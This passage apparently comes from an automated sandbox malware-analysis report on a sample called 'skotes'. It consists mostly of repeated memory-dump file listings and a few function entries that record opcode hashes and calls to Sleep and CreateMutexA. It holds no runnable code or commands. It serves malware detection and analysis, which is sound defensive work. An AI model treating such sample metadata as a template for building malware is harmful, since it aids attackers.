Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a5af7ca64d14de47882111ecbc42ae56df62901404eec0e3956b2bf601e9a812
Instruction ID: 9c93d3802b0ed37cf6d9e4684a92cc6c0f89b9a8299b11dfef2bb28476b18b4c
Opcode Fuzzy Hash: a5af7ca64d14de47882111ecbc42ae56df62901404eec0e3956b2bf601e9a812
Instruction Fuzzy Hash: 24316A31B101089BFB089B7CDD89FBCB7B2EBA5318F24825DE014A73E1D73699808752

Function 00ACA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d40b7650f4a353c077f1e6839683ba8cbb389a34c7e879df3ca9411702f36053
Instruction ID: 5fd319cf6a36dbdae82023ef4e04f2d8ca79cb4e26803a6b5d2d611d15922261
Opcode Fuzzy Hash: d40b7650f4a353c077f1e6839683ba8cbb389a34c7e879df3ca9411702f36053
Instruction Fuzzy Hash: AB316C31B101088BEB0CABBCDE89FBDB761DFA1318F20825CE119973D5D77599808752

Function 00ACA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4676859355dc2d338923141a47d7925d8c8e1875cfa675b8aece01845e8f6192
Instruction ID: b2e168bb809fc250912c1f659f5852a9ed0a77f309527fcee06cbf6eecd5c7fb
Opcode Fuzzy Hash: 4676859355dc2d338923141a47d7925d8c8e1875cfa675b8aece01845e8f6192
Instruction Fuzzy Hash: 7E314A31B101088BEB08DB78DD89F7CB761EB95318F24C25CE418A73D6CB3999818752

Function 00ACA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3e1f40273f94384a40deb622dc8d2a72fa83ba499d3944aab5f64a5b34d50a45
Instruction ID: 0444d9383bf4a385f3a3f48138612d2c97c77d310efc2c79a7da6ac99a5bd8fc
Opcode Fuzzy Hash: 3e1f40273f94384a40deb622dc8d2a72fa83ba499d3944aab5f64a5b34d50a45
Instruction Fuzzy Hash: CD314A31B101088BEB18DB78DD89FBDB7B2EB91318F24825CE118E73D6D73999808752

Function 00AC9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3afe980ae515ca37694192e1d4112692ee6911047a401d64828d4943d702da5e
Instruction ID: 1e3a49c5ba41b53757f0210559f5ebfd23d76a489e792de8775dfdae7ca5e813
Opcode Fuzzy Hash: 3afe980ae515ca37694192e1d4112692ee6911047a401d64828d4943d702da5e
Instruction Fuzzy Hash: 282197317002009BEB18AB6CEC89B7DB3A2EBD0304F20825DE518D72E1DB759D808601

Function 00ACA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
